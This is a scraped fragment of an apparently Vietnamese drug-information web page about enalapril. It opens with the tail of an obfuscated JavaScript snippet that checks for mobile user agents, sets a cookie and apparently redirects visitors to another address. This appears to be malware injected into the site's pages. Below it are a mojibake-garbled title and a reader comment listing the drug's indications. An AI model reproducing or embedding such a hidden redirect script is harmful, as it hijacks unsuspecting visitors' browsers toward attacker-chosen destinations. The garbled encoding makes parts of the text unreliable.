i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Web Comments

One thought on “ENALAPRIL Thua��c cha��ng tA?ng huya??t A?p, nhA?m a��c cha?? men chuya�?n angiotensin.

  1. Huỳnh Kiều says:

    Tracuuthuoctay chia sẻ bài viết  ENALAPRIL Thuốc chống tăng huyết áp, nhóm ức chế men chuyển angiotensin. là gì? giá thuốc bao nhiêu? chỉ định, cách sử dụng, tác dụng phụ thuốc ENALAPRILTăng huyết áp.Suy tim (giảm tử vong và biến chứng ở người suy tim có triệu chứng và người loạn năng thất trái không triệu chứng).Sau nhồi máu cơ tim (huyết động học đã ổn định).Bệnh thận do đái tháo đường (tăng hoặc không tăng huyết áp).Suy thận tuần tiến mạn.
    #ENALAPRIL , #thuocENALAPRIL #tracuuthuoctay, #yduoc, #nhathuoc

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Facebook Comments

%d bloggers like this: